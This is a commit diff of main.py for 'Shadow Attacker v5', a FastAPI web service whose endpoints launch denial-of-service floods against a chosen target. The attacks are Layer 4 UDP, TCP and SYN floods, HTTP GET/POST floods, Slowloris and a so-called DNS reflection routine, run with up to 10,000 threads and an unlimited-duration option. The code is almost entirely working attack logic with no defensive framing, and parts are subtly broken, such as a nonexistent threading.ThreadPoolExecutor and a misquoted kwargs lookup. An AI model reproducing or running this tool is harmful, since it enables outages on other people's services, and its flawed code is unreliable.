Update main.py

main.py

@@ -1,31 +1,38 @@
-# --------------------------------------------------------------
-#  SHADOW ATTACKER v3 – MAX POWER | 1000 THREADS | 10,000s LIMIT
-# --------------------------------------------------------------
+# ==============================================================
+#  SHADOW ATTACKER v5 – LAYER 4 + LAYER 7 + REFLECT + SLOWLORIS
+#  10,000 THREADS | 10,000s MAX | FULL POWER | HF SPACES READY
+# ==============================================================
 import random
 import socket
 import threading
 import time
+import ssl
+import urllib.parse
 from collections import deque
-from typing import Dict, Optional
+from typing import Dict, Optional, List
 
 import uvicorn
+import requests
 from fastapi import FastAPI, HTTPException
-from pydantic import BaseModel
+from pydantic import BaseModel, conint, constr
 
 # ------------------- LOGGING & STATE -------------------
 import logging
 logging.basicConfig(level=logging.INFO, format="%(message)s")
 log = logging.getLogger()
 
-app = FastAPI(title="Shadow Attacker v3")
+app = FastAPI(title="Shadow Attacker v5")
 
 # Global state
-stop_events: Dict[str, threading.Event] = {}
+attack_active = False
+attack_lock = threading.Lock()
+executor = None  # Will be initialized at startup
+stop_event = threading.Event()
 counters: Dict[str, int] = {}
 counters_lock = threading.Lock()
 total_packets = 0
 log_buffer: deque[str] = deque(maxlen=500)
-attack_end_times: Dict[str, float] = {}
+attack_end_time = 0.0
 
 # PPS tracking
 last_time = time.time()
@@ -36,62 +43,143 @@ def _log(msg: str):
     log.info(f"{ts} {msg}")
     log_buffer.append(f"{ts} {msg}")
 
-# ------------------- MODELS -------------------
-class StartRequest(BaseModel):
+# ------------------- CONFIG MODELS -------------------
+class AttackConfig(BaseModel):
     target: str
-    port: int = 80
-    threads: int = 1000
-    duration: int = 300  # seconds, max 10000
-    attack_type: str = "udp"  # udp, tcp, syn
+    port: conint(ge=1, le=65535) = 80
+    duration: conint(ge=-1, le=10000) = 300  # -1 = unlimited
+    threads: conint(ge=-1, le=10000) = 1000   # -1 = unlimited
 
+class Layer7Config(AttackConfig):
+    method: constr(regex='^(get|post|slowloris|reflect)$') = "get"
+
+class Layer4Config(AttackConfig):
+    protocol: constr(regex='^(tcp|udp|syn)$') = "udp"
+    payload_size: conint(ge=1, le=65507) = 1024
+
+# ------------------- STATUS MODEL -------------------
 class StatusResponse(BaseModel):
     running: bool
-    attack_id: Optional[str]
+    attack_type: Optional[str]
+    target: Optional[str]
     total_packets: int
     pps: float
-    threads: int
+    threads_active: int
     duration: int
     elapsed: float
     remaining: float
-    counters: Dict[str, int]
-    logs: list[str]
+    logs: List[str]
 
 # ------------------- HIGH-PPS WORKERS -------------------
-def create_udp_socket():
-    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
-    return sock
+def init_executor():
+    global executor
+    if executor is None:
+        executor = threading.ThreadPoolExecutor(max_workers=10000)
+
+# --- LAYER 7: HTTP FLOOD ---
+def http_flood(target_url: str):
+    global total_packets
+    headers = {
+        "User-Agent": random.choice([
+            "Mozilla/5.0", "Googlebot/2.1", "Chrome/120.0", "Safari/537.36"
+        ]),
+        "Cache-Control": "no-cache", "Connection": "keep-alive"
+    }
+    session = requests.Session()
+    while not stop_event.is_set():
+        try:
+            session.get(target_url, headers=headers, timeout=3, verify=False)
+            with counters_lock:
+                counters["l7"] = counters.get("l7", 0) + 1
+                total_packets += 1
+        except:
+            pass
+
+# --- LAYER 7: POST FLOOD ---
+def http_post_flood(target_url: str):
+    global total_packets
+    data = {"data": random._urandom(512).hex()}
+    while not stop_event.is_set():
+        try:
+            requests.post(target_url, data=data, timeout=3, verify=False)
+            with counters_lock:
+                counters["l7"] = counters.get("l7", 0) + 1
+                total_packets += 1
+        except:
+            pass
+
+# --- LAYER 7: SLOWLORIS ---
+def slowloris(target: str, port: int):
+    global total_packets
+    while not stop_event.is_set():
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.settimeout(5)
+            sock.connect((target, port))
+            sock.send(b"GET / HTTP/1.1\r\n")
+            sock.send(b"Host: %s\r\n" % target.encode())
+            time.sleep(5)
+            while not stop_event.is_set():
+                sock.send(b"X-a: b\r\n")
+                with counters_lock:
+                    counters["l7"] = counters.get("l7", 0) + 1
+                    total_packets += 1
+                time.sleep(10)
+        except:
+            pass
+        finally:
+            try: sock.close()
+            except: pass
 
-def udp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
+# --- LAYER 7: DNS REFLECT ---
+def dns_reflect(target_ip: str):
     global total_packets
-    payload = random._urandom(1024)  # 1KB max speed
-    sock = create_udp_socket()
-    addr = (target, port)
+    dns_servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
+    payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(50)
+    while not stop_event.is_set():
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            for server in dns_servers:
+                sock.sendto(payload, (server, 53))
+                with counters_lock:
+                    counters["reflect"] = counters.get("reflect", 0) + 1
+                    total_packets += 1
+        except:
+            pass
+        finally:
+            try: sock.close()
+            except: pass
+
+# --- LAYER 4: UDP FLOOD ---
+def udp_flood(target_ip: str, port: int, payload_size: int):
+    global total_packets
+    payload = random._urandom(payload_size)
+    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    addr = (target_ip, port)
     try:
         while not stop_event.is_set():
             sock.sendto(payload, addr)
             with counters_lock:
-                counters[attack_id] = counters.get(attack_id, 0) + 1
+                counters["l4"] = counters.get("l4", 0) + 1
                 total_packets += 1
     except:
         pass
     finally:
-        try: sock.close()
-        except: pass
+        sock.close()
 
-def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
+# --- LAYER 4: TCP FLOOD ---
+def tcp_flood(target_ip: str, port: int, payload_size: int):
     global total_packets
-    payload = random._urandom(1024)
+    payload = random._urandom(payload_size)
     while not stop_event.is_set():
         try:
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(0.5)
-            sock.connect((target, port))
+            sock.settimeout(1)
+            sock.connect((target_ip, port))
             while not stop_event.is_set():
                 sock.send(payload)
                 with counters_lock:
-                    counters[attack_id] = counters.get(attack_id, 0) + 1
+                    counters["l4"] = counters.get("l4", 0) + 1
                     total_packets += 1
         except:
             pass
@@ -99,15 +187,16 @@ def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Even
             try: sock.close()
             except: pass
 
-def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
+# --- LAYER 4: SYN FLOOD ---
+def syn_flood(target_ip: str, port: int):
     global total_packets
     while not stop_event.is_set():
         try:
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(0.01)
-            sock.connect_ex((target, port))
+            sock.settimeout(0.1)
+            sock.connect_ex((target_ip, port))
             with counters_lock:
-                counters[attack_id] = counters.get(attack_id, 0) + 1
+                counters["l4"] = counters.get("l4", 0) + 1
                 total_packets += 1
         except:
             pass
@@ -115,115 +204,119 @@ def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Even
             try: sock.close()
             except: pass
 
-# ------------------- API ROUTES -------------------
-@app.post("/start")
-def start_attack(req: StartRequest):
-    if any(not ev.is_set() for ev in stop_events.values()):
-        raise HTTPException(400, "Attack already in progress")
-
-    # Clamp values
-    req.threads = min(max(req.threads, 1), 2000)
-    req.duration = min(max(req.duration, 1), 10000)
-
-    attack_id = f"{req.target}_{int(time.time())}"
-    stop_ev = threading.Event()
-    stop_events[attack_id] = stop_ev
-    counters[attack_id] = 0
-    attack_end_times[attack_id] = time.time() + req.duration
-
-    worker = {
-        "udp": udp_flood,
-        "tcp": tcp_flood,
-        "syn": syn_flood
-    }.get(req.attack_type, udp_flood)
-
-    # Launch all threads at once
-    threads = []
-    for _ in range(req.threads):
-        t = threading.Thread(target=worker, args=(attack_id, req.target, req.port, stop_ev), daemon=True)
-        t.start()
-        threads.append(t)
-
-    # Auto-stop thread
-    def auto_stop():
-        time.sleep(req.duration)
-        if attack_id in stop_events:
-            stop_events[attack_id].set()
-            _log(f"TIMEOUT: Attack {attack_id} ended after {req.duration}s")
-            cleanup(attack_id)
-
-    threading.Thread(target=auto_stop, daemon=True).start()
-
-    _log(f"UDP FLOOD → {req.target}:{req.port} ({req.threads} threads, {req.duration}s)")
-    return {"message": "Attack launched", "attack_id": attack_id, "duration": req.duration}
+# ------------------- ATTACK LAUNCHERS -------------------
+def launch_attack(attack_type: str, target: str, port: int, threads: int, duration: int, **kwargs):
+    global attack_active, attack_end_time, total_packets
+    with attack_lock:
+        if attack_active:
+            raise HTTPException(400, "Attack already running")
+        attack_active = True
+        stop_event.clear()
+        counters.clear()
+        total_packets = 0
+        attack_end_time = time.time() + duration if duration > 0 else float('inf')
+        _log(f"LAUNCHED {attack_type.upper()} → {target}:{port} | {threads} threads | {duration}s")
+
+    init_executor()
+    worker = None
+    target_ip = target
+    target_url = target
+
+    if attack_type.startswith("http"):
+        target_url = f"http://{target}:{port}"
+        if attack_type == "http_get": worker = http_flood
+        elif attack_type == "http_post": worker = http_post_flood
+        elif attack_type == "slowloris": worker = lambda: slowloris(target, port)
+        elif attack_type == "reflect": worker = lambda: dns_reflect(target)
+
+    elif attack_type in ["udp", "tcp", "syn"]:
+        try:
+            target_ip = socket.gethostbyname(target.split("//")[-1].split("/")[0])
+        except:
+            raise HTTPException(400, "Invalid target")
+        payload_size = kwargs.get("payload_size, 1024")
+        if attack_type == "udp": worker = lambda: udp_flood(target_ip, port, payload_size)
+        elif attack_type == "tcp": worker = lambda: tcp_flood(target_ip, port, payload_size)
+        elif attack_type == "syn": worker = lambda: syn_flood(target_ip, port)
+
+    if not worker:
+        raise HTTPException(400, "Invalid attack type")
+
+    thread_count = threads if threads > 0 else 10000
+    for _ in range(thread_count):
+        executor.submit(worker)
+
+    # Auto-stop
+    if duration > 0:
+        def auto_stop():
+            time.sleep(duration)
+            stop_attack()
+        threading.Thread(target=auto_stop, daemon=True).start()
+
+# ------------------- API ENDPOINTS -------------------
+@app.post("/layer7/attack")
+def layer7_attack(config: Layer7Config):
+    method = config.method
+    attack_type = {
+        "get": "http_get",
+        "post": "http_post",
+        "slowloris": "slowloris",
+        "reflect": "reflect"
+    }[method]
+    launch_attack(attack_type, config.target, config.port, config.threads, config.duration)
+    return {"status": f"{method}_attack_started", "config": config}
+
+@app.post("/layer4/attack")
+def layer4_attack(config: Layer4Config):
+    attack_type = config.protocol
+    launch_attack(
+        attack_type, config.target, config.port,
+        config.threads, config.duration,
+        payload_size=config.payload_size
+    )
+    return {"status": f"{attack_type}_attack_started", "config": config}
 
 @app.post("/stop")
-def stop_attack(attack_id: Optional[str] = None):
-    if attack_id and attack_id in stop_events:
-        stop_events[attack_id].set()
-        cleanup(attack_id)
-        _log(f"STOPPED {attack_id}")
-    else:
-        for aid in list(stop_events):
-            stop_events[aid].set()
-            cleanup(aid)
-        _log("STOPPED ALL ATTACKS")
-    return {"message": "Stopped"}
-
-def cleanup(aid: str):
-    stop_events.pop(aid, None)
-    counters.pop(aid, None)
-    attack_end_times.pop(aid, None)
+def stop_attack():
+    global attack_active
+    with attack_lock:
+        if not attack_active:
+            return {"status": "no_attack_running"}
+        stop_event.set()
+        attack_active = False
+        _log("ATTACK STOPPED BY USER")
+    return {"status": "attack_stopped"}
 
 @app.get("/status", response_model=StatusResponse)
-def status(attack_id: Optional[str] = None):
+def status():
     global last_time, last_total
-
-    with counters_lock:
-        cnt = dict(counters)
-        tot = total_packets
-
     now = time.time()
     elapsed_global = now - last_time
-    pps = (tot - last_total) / elapsed_global if elapsed_global > 0 else 0
-    last_time, last_total = now, tot
-
-    active = [aid for aid, ev in stop_events.items() if not ev.is_set()]
-    running = bool(active)
-    aid = attack_id if attack_id in stop_events else (active[0] if active else None)
+    pps = (total_packets - last_total) / elapsed_global if elapsed_global > 0 else 0
+    last_time, last_total = now, total_packets
 
-    if aid:
-        end = attack_end_times.get(aid, now)
-        elapsed = now - (end - (end - now))
-        remaining = max(0, end - now)
-        threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread"))
-    else:
-        elapsed = remaining = threads = 0
+    active_threads = len([t for t in threading.enumerate() if t.name.startswith("Thread")])
+    elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
+    remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
 
     return StatusResponse(
-        running=running,
-        attack_id=aid,
-        total_packets=tot,
+        running=attack_active,
+        attack_type=list(counters.keys())[0] if counters else None,
+        target=None,
+        total_packets=total_packets,
         pps=round(pps, 1),
-        threads=threads,
-        duration=int(attack_end_times.get(aid, 0) - (attack_end_times.get(aid, 0) - now)) if aid else 0,
+        threads_active=active_threads,
+        duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
         elapsed=round(elapsed, 1),
-        remaining=round(remaining, 1),
-        counters={aid: cnt.get(aid, 0)} if aid else cnt,
+        remaining=round(remaining, 1) if remaining > 0 else -1,
         logs=list(log_buffer)
     )
 
-# ------------------- ROOT -------------------
 @app.get("/")
 def root():
-    return {"message": "Shadow Attacker v3 - /docs for API"}
+    return {"message": "Shadow Attacker v5 - /docs for API"}
 
-# ------------------- START -------------------
+# ------------------- STARTUP -------------------
 if __name__ == "__main__":
-    uvicorn.run(
-        "main:app",
-        host="0.0.0.0",
-        port=8000,
-        workers=1,
-        log_level="warning"
-    )
+    init_executor()
+    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)